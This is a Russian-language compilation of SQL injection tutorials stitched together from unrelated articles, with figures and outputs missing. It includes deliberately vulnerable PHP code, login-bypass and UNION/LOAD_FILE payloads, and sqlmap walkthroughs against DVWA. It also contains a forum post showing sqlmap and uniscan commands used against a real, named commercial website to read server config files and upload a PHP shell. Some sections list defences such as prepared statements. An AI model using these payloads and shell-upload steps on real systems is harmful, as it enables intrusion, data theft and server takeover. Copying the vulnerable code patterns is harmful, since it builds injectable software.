SQL инъекция — это атака, которая задействует динамические операторы SQL , вынося в комментарии определенные части инструкций или добавляя условие, которое всегда будет истинным. Она нацелена на дыры в архитектуре веб-приложений и использует операторы SQL для выполнения вредоносного SQL-кода :
В этой статье мы рассмотрим методы, используемые при SQL-инъекциях и способы защиты веб-приложений от таких атак.
Типы атак, которые могут быть выполнены с использованием SQL-инъекции , различаются по типу поражаемых механизмов базы данных. Атака нацеливается на динамические операторы SQL . Динамический оператор — это оператор, который создается во время выполнения на основе параметров из веб-формы или строки запроса URI .
Рассмотрим простое веб-приложение с формой входа. Код HTML-формы приведен ниже:
Предположим, что запрос для проверки идентификатора пользователя на стороне сервера выглядит следующим образом:
Мы рассмотрим атаку с использованием SQL инъекции sqlfiddle . Откройте в браузере URL-адрес http://sqlfiddle.com/ . На экране появится следующее окно.
Примечание : вам нужно будет написать инструкции SQL :
Шаг 1. Введите этот код в левую панель:
CREATE TABLE `users` (`id` INT NOT NULL AUTO_INCREMENT, `email` VARCHAR(45) NULL, `password` VARCHAR(45) NULL, PRIMARY KEY (`id`)); insert into users (email,password) values ("[email protected]",md5("abc"));
Шаг 2. Нажмите кнопку «Build Schema
».
Шаг 3. Введите приведенный ниже код в правой панели:
select * from users;
Шаг 4. Нажмите «Run SQL ». Вы увидите следующий результат:
Предположим, что пользователь предоставляет адрес электронной почты [email protected] и 1234 в качестве пароля. Запрос, который должен быть выполнен в базе данных, может выглядеть следующим образом:
Приведенный выше код SQL инъекции примера может быть обойден путем выведения в комментарии части пароля и добавления условия, которое всегда будет истинным. Предположим, что злоумышленник подставляет следующие данные в поле адреса электронной почты:
[email protected]" OR 1 = 1 LIMIT 1 -- " ]
и xxx в поле пароля.
Сгенерированный динамический оператор будет выглядеть следующим образом:
0; ‘ AND … — это комментарий SQL , который исключает часть пароля.
Скопируйте приведенный выше запрос и вставьте его в текстовое поле SQL FiddleRun SQL , как показано ниже:
У нас есть простое веб-приложение, доступное по адресу http://www.techpanda.org/ , которое специально сделано уязвимым для атак с использованием SQL инъекций для новичков в демонстрационных целях. Код HTML-формы , приведенный выше, взят со страницы авторизации данного приложения.
Оно обеспечивает базовую безопасность, такую как санация поля электронной почты. Это означает, что приведенный выше код не может использоваться для обхода данного механизма.
Чтобы обойти его, можно использовать поле пароля. На приведенной ниже диаграмме показаны шаги, которые нужно выполнить:
Предположим, что злоумышленник предоставляет следующие данные:
Шаг 1
: Вводит [email protected]
в качестве адреса электронной почты;
Шаг 2
: Вводит xxx’) OR 1 = 1 — ]
;
Нажимает кнопку «Отправить ».
Он будет направлен в панель администрирования. Сгенерированный запрос будет выглядеть следующим образом:
На приведенной ниже диаграмме показано, как запрос был сгенерирован:
Здесь:
Как правило, злоумышленники для достижения своих целей пытаются применить в атаке с использованием SQL инъекций несколько различных методов.
SQL-инъекции могут нанести гораздо больший ущерб, чем вход в систему в обход механизма авторизации. Некоторые из таких атак могут:
Приведенный выше список не является полным. Он просто дает представление о том, какую опасность представляют SQL-инъекции .
В приведенном выше примере мы использовали методы ручной атаки. Перед тем, как сделать SQL инъекцию , нужно понимать, что существуют автоматизированные инструменты, которые позволяют выполнять атаки эффективнее и быстрее:
Вот несколько простых правил, которые позволят защититься от атак с использованием SQL-инъекций :
Ввод пользовательских данных не должен быть доверенным . Его всегда нужно санировать, прежде чем данные будут использоваться в динамических операциях SQL.
Хранимые процедуры — они могут инкапсулировать SQL-запросы и обрабатывать все входные данные в качестве параметров.
Подготовленные запросы — сначала создаются запросы, а затем все предоставленные пользовательские данные обрабатываются в качестве параметров. Это не влияет на синтаксис инструкции SQL .
Регулярные выражения — могут быть использованы для обнаружения потенциально вредоносного кода и его удаления перед выполнением операторов SQL .
Права доступа на подключение к базе данных – чтобы защититься от SQL инъекций , учетным записям, которые используются для подключения к базе данных, должны предоставляться только необходимые права доступа. Это поможет ограничить действия, которые SQL-операторы могут выполнять на сервере.
Сообщения об ошибках — не должны раскрывать конфиденциальную информацию. Простые пользовательские сообщения об ошибках, такие как «Извините, возникла техническая ошибка. Служба поддержки уже уведомлена о ней. Повторите попытку позже », можно использовать вместо отображения запросов SQL , вызвавших ошибку.
Что ж, к сабжу:
Спойлер: Заливаем шелл
У нас имеется SQL Injection на сайт, которая выглядит следующим образом,
Вы должны быть зарегистрированы, чтобы видеть ссылки.
Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --banner --current-db --current-user --is-dba
Жмем Enter и начинается анализ нашей SQL Injection, выглядит отчет следующим образом:
Как вы видите в отчете написана версия Apache, версия MySQL, и версия ОС, установленной на сервере, все это нам пригодится в дальнейшем, но самое главное вы видите, что мы имеем права на запись файлов, это отображается в строчке Current User is DBA: True
Следующим шагом для нас является получение путей для записи нашего шелла. Путь до нашего сайта на сервере мы можем получить, скачав файл httpd.conf . Информацию о местоположении файла httpd.conf мы получаем с помощью Google, можно поискать по версии ОС, которая установлена или по списку наиболее вероятных путей. В общем не буду углубляться в серфинг по поисковым системам, просто когда выяснили наиболее вероятное месторасположение пути к файлу, то самое время скачать этот самый файл к себе на диск, для этого вводим следующую команду и запрашиваем чтение файла на сервере:
Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf
Сразу отметим, что не всегда удается найти этот конфиг-файл с первого раза, поэтому вы можете использовать наиболее вероятные пути по которым этот файл может находиться:
СПИСОК ВЕРОЯТНЫХ ПУТЕЙ К ФАЙЛУ КОНФИГА:
../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../../../../../../usr/local/apache2/conf/httpd.conf ../../../../../../../../usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../../../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/local/etc/apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../../../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../../../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../../etc/apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../../../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../../../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../../opt/apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf
Мы получаем отчет от sqlmap в следующем виде:
Как вы видите, sqlmap нам сказал, что файл имеет такой же размер как и файл на сервере, следовательно мы имеем право на чтение этого файла. Если бы прав на чтение этого файла не хватало, то вылезла бы ошибка, что файл сохраненный на нашей машине имеет другой размер в отличие от файла на сервере, либо файла на сервере по указанному нами пути нет и никогда не было. Sqlmap cохранил наш файл в файлах отчета, а что бы прочитать его нужно запустить оконный менеджер. Для запуска оконного менеджера мы открываем еще одно окно терминала и вводим команду:
Далее в открывшемся менеджере идем по пути, куда sqlmap сложил файл т.е.:
/root/.sqlmap/output/sacoor.com
Далее, наведя курсор на файлик нажимаем кнопку F3
на клавиатуре и читаем конфиг-файл Apache:
Из нашего конфиг-файла мы видим, что наш сайт лежит на сервере по следующему пути:
/home/sbshop/site/
Теперь, когда мы имеем немного информации, можно пробовать залить шелл, для этого вводим следующую команду:
После ввода команды sqlmap спросит какой тип заливщика мы желаем использовать, т.к. в нашем случае сайт на PHP, то и заливать мы будем PHP-loader
, выбираемпункт4
и жмем Enter. Далее, sqlmap попросит выбрать нас куда мы будем заливать наш загрузчик, а т.к. мы уже знаем путь к нашему сайту на сервере, то выбираемпункт 2
, нажимем Enter
и указываем путь к сайту:
/home/sbshop/site/
А после этого жмем Enter и видим следующий отчет:
В данном случае sqlmap нам говорит, что в данную папку у нас нет прав на запись. Не беда, эту проблему достаточно легко решить. Даем команду на запуск uniscan и чекаем файлы и папки на возможность записи, вот команда:
Uniscan -u http://www.sacoor.com/ -qwe
Сейчас сканер проверит все доступные для записи директории:
Сканер нашел три директории с возможностью записи файлов, поэтому пытаемся залить наш лоадер шелла еще раз, но в этот раз по-другому пути. Опять выполняем команду:
Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l
и, выбрав пункт 4
(заливка PHP-скрипта), указываем путь:
/home/sbshop/site/admin
Видим мы следующее.
SQL Injection – это тип атаки, при котором злоумышленник изменяет логику SQL запросов веб-приложения, что позволяет ему читать/изменять/удалять значения в базе данных, а иногда – выполнять произвольный код на стороне сервера. В статье будет рассмотрена популярная утилита sqlmap для проведения sql-инъекций.
На данный момент, данный тип уязвимости является наиболее опасным из всех возможных. На протяжении 7 лет, лидирующую строчку «OWASP TOP -10» возглавляют именно SQL инъекции.
Существует 5 основных причин возникновения этой уязвимости:
Рассмотрим типы SQL инъекций эксплуатируемые утилитой SQLMap :
Запуск утилиты (должна находиться в переменной PATH ):
$ sqlmap
Или из директории утилиты:
$ python sqlmap.py
Для вызова документации используется ключ «- h / — help »:
$ sqlmap --help $ python sqlmap.py –help
Действия ключей SQLMap полностью зависят от того, чего конкретно хочет добиться злоумышленник. Основной список действий SQLMap выглядит следующим образом:
Для нашей практической подготовки мы будем использовать Damn Vulnerable Web Application (DVWA или «Чертовски уязвимое веб приложение»).
DVWA – это свободно распространяемое веб-приложение построенное на таких технологиях как PHP и MySQL , предназначенное для тренировки навыков пентеста.
Сейчас нас интересуют только инъекции, но в целом, вы можете проверить свои способности в остальных уязвимостях, созданных на основе официального OWASP TOP -10 .
P .S .: Эта практика подразумевает наличие у вас знания основ Linux , начального уровня английского языка и умение использовать Google (в случае неимения вышеперечисленных навыков).
Установка:
Начальные данные:
Итак, приступим:
Пояснение к команде:
— url – URL с предполагаемым уязвимым параметром. Важно заметить, что переменная этого ключа записана в кавычках, т.к. проверяемый URL имеет больше одного передаваемого параметра. В противном случае кавычками можно пренебречь и использовать короткий вариант ключа “- u ” без знака равенства.
— cookie – Сессионная куки для прямого доступа во время атаки (необязательный ключ).
Вывод:
Анализ:
Пояснение к команде:
—dbs – ключ для перечисления имеющихся баз данных.
Вывод:
Анализ: SQLMap перечислил доступные базы данных (всего 7).
Пояснение к команде:
—D – Указываем интересующую нас базу данных.
—tables – Перечисляем имеющиеся таблицы в бд.
Вывод:
Анализ: Как мы видим, SQLMap успешно перечислил названия 2-х таблиц в бд dvwa .
Пояснение к команде:
—T – Указываем интересующую нас таблицу.
—columns – Перечисляем имеющиеся колонки в таблице.
Вывод:
Анализ: Как мы видим, SQLMap успешно перечислил названия 6-х колонок в таблице users , бд dvwa .
Пояснение к команде:
С – Указываем интересующие нас столбцы.
—dump – Вытягиваем значения из перечисленных столбцов.
Вывод:
Анализ: Основываясь на ответе SQLMap отмечаем следующие моменты:
Пояснение к команде:
—data – Указываем параметры для тестирования, передающиеся в POST запросе.
—os —shell – Специальный ключ для попытки эксплуатации серверной консоли через SQL инъекцию.
Вывод:
Анализ: Основываясь на ответе SQLMap отмечаем следующие моменты:
Преимущества получения более глубокого уровня доступа к системе:
Приветствую тебя, читатель. Последнее время, я увлекаюсь Web-безопасностью, да и в какой-то степени работа связана с этим. Т.к. я всё чаще и чаще стал замечать темы на различных форумах, с просьбой показать, как это всё работает, решил написать статью. Статья будет рассчитана на тех, кто не сталкивался с подобным, но хотел бы научиться. В сети относительно много статей на данную тематику, но для начинающих они немного сложные. Я постараюсь описать всё понятным языком и подробными примерами.
Я считаю, что одного прочтения статьи будет мало, т.к. нам нужны живые примеры - как известно практика, в процессе запоминания, не бывает лишней. Поэтому мы будем писать уязвимые скрипты и тренироваться на них.
Отец, написал в записке маме, чтобы она дала Васе 100 рублей и положил её на стол. Переработав это в шуточный SQL язык, мы получим:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе
Так-как отец плохо написал записку (Корявый почерк), и оставил её на столе, её увидел брат Васи - Петя. Петя, будучи хакер, дописал там «ИЛИ Пете» и получился такой запрос:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе ИЛИ Пете
Мама прочитав записку, решила, что Васе она давала деньги вчера и дала 100 рублей Пете. Вот простой пример SQL инъекции из жизни:) Не фильтруя данные (Мама еле разобрала почерк), Петя добился профита.
Как Вы уже поняли, инъекция появляется из входящих данных, которые не фильтруются. Самая распространенная ошибка - это не фильтрация передаваемого ID. Ну грубо говоря подставлять во все поля кавычки. Будь это GET/POST запрос и даже Cookie!
Т.к. у нас запрос не имеет фильтрации:
$id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";
Скрипт поймет это как
SELECT * FROM news WHERE id=1"
И выдаст нам ошибку:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\WebServ\domains\sqlinj\index1.php on line 16
Если ошибку не выдало - могут быть следующие причины:
1.SQL инъекции здесь нет - Фильтруются кавычки, или просто стоит преобразование в (int)
2.Отключен вывод ошибок.
Если все же ошибку вывело - Ура! Мы нашли первый вид SQL инъекции - Числовой входящий параметр.
Запросы будем посылать на index2.php
. В данном файле, запрос имеет вид:
$user = $_GET["user"];
$query = "SELECT * FROM news WHERE user="$user"";
Тут мы делаем выборку новости по имени пользователя, и опять же - не фильтруем.
Опять посылаем запрос с кавычкой:
Выдало ошибку. Ок! Значит уязвимость есть. Для начала нам хватит - приступим к практике.
Наверно Вам уже не терпится извлечь что-то из этого, кроме ошибок. Для начала усвойте, что знак " -- " считается комментарием в языке SQL.
ВНИМАНИЕ! Перед и после него обязательно должны стоять пробелы. В URL они передаются как %20
Всё, что идет после комментария - будет отброшено То есть запрос:
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra
Выполнится удачно. Можете попробовать это на скрипте index2.php, послав такой запрос:
Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr
Выучите параметр UNION . В языке SQL ключевое слово UNION применяется для объединения результатов двух SQL-запросов в единую таблицу. То есть для того, чтобы вытащить что-то нам нужное из другой таблицы.
Если параметр «Числовой», то в запросе нам не нужно посылать кавычку и естественно ставить комментарий в конце. Вернемся к скрипту index1.php .
Обратимся к скрипту sqlinj/index1.php?id=1 UNION SELECT 1 . Запрос к БД у нас получается вот таким:
SELECT * FROM news WHERE id=1 UNION SELECT 1
И он выдал нам ошибку, т.к. для работы с объедением запросов, нам требуется одинаковое количество полей.
Т.к. мы не можем повлиять на их количество в первом запросе, то нам нужно подобрать их количество во втором, чтобы оно было равно первому.
Подбор полей делается очень просто, достаточно посылать такие запросы:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Ошибка…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Опять ошибка!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Ошибки нет! Значит количество столбцов равно 5.
Если запрос
sqlinj/index1.php?id=1 GROUP BY 2
не выдал ошибок, значит кол-во полей больше 2. Пробуем:
Sqlinj/index1.php?id=1 GROUP BY 8
Оп, видим ошибку, значит кол-во полей меньше 8.
Если при GROUP BY 4 нет ошибки, а при GROUP BY 6 - ошибка, Значит кол-во полей равно 5
Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5
Этим действием, мы определили, какие столбцы выводятся на страницу. теперь, чтобы заменить эти цифры на нужную информацию, нужно продолжить запрос.
Допустим мы знаем, что еще существует таблица users
в которой существуют поля id
, name
и pass
.
Нам нужно достать Информацию о пользователе с ID=1
Следовательно построим такой запрос:
Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users WHERE id=1
Скрипт также продолжает выводить
Для этого, мы подставим название полей, за место цифр 1 и 3
Sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1
Получили то - что требовалось!
Для «строкового входящего параметра», как в скрипте index2.php
нужно добавлять кавычку в начале и знак комментария в конце. Пример:
sqlinj/index2.php?user=-1" UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 --%20
Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20
Таким образом, мы прочитали предыдущий записанный файл.
Защититься еще проще, чем использовать уязвимость. Просто фильтруйте данные. Если Вы передаёте числа, используйте
$id = (int) $_GET["id"];
Как подсказал пользователь malroc . Защищаться использованием PDO или prepared statements.